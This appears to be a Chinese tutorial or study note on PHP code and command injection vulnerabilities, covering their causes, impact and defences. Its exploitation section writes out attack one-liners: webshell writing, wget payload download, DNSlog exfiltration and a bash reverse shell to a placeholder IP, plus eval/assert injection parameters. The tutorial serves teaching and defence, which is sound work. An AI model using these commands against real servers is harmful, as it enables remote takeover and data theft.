Ⅰ、代码&命令执行
目录
1. 漏洞成因
对于开发者:
- 后端人员为了方便管理网站
- 某些网站功能需要,把命令执行的这个接口交给了用户使用。
对于攻击者
1.用户可控变量
2.漏洞函数
2. 利用
1.写webshell
echo "" > webshell.php
2.外部下载
wget 网址 -O webshell.php
3.命令外带
需要用到DNSlog,DNSLog Platform
4.反弹shell
bash -i >& /dev/tcp/IP/port 0>&1
5.写shell
fputs(fopen("shell.php","a"),"");
3. 漏洞危害
代码执行危害:根据服务器语言不同,可导致PHP、Java、Python等任意代码执行
命令执行危害:导致任意系统命令执行(getshell)
- 继承web服务器的权限,去执行命令,读写文件。获取敏感文件
- 反弹shell
- 获取敏感数据文件
- 提权,写入恶意文件getshell。
4. 防御
- 尽量不要使用命令执行函数
- 用白名单将用户可输入函数写死(白名单,只能ping)
- 用正则表达式对用户输入进行过滤
- 使用WAF
Ⅱ、命令执行
1. 命令执行漏洞描述
命令执行(Command Injection)指在某些开发需求中,需要引入对系统本地命令(比如system)的支持来完成某些特定的功能。当开发未对用户传入的参数进行严格的校验、过滤时,则很有可能会产生命令注入。攻击者使用命令注入来执行系统终端命令,直接获取服务器控制权限。
2. 漏洞成因
- 用户可控变量
- 漏洞函数
3. 常用的命令执行函数
system(“whoami”) #执行外部程序,并且显示输出
exec(“whoami”) #echo exec(“whoami”)执行一个外部程序并输出结果
shell_exec(“whoami”) #echo shell_exec(“whoami”)通过 shell 执行命令并将完整的输出以字符串的方式返回并输出
passthru(“whoami”) #执行外部程序并且显示原始输出
反引号`` #echo `whomi`执行whomi并输出结果
Ⅲ、代码执行漏洞
1. 代码执行漏洞描述
代码执行(Remote Code Execute)应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。大部分都是根据源代码判断代码执行漏洞。
2. 漏洞成因
- 用户可控变量
- 漏洞函数
3. 常用的代码执行函数
eval(system(“whoami”)) eval()函数 #把字符串作为PHP代码执行
assert(system("whoami")) #assert()函数把括号内的字符串当做PHP代码来执行。
call_user_func('assert',$_GET["cmd"]) #第一个参数 assert是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array('assert',[$_GET["cmd"]]); #调用回调函数,并把一
个数组参数作为回调函数的参数。
?c=echo 123;
?c=echo 'hsvjash';
?c=system('phpinfo()');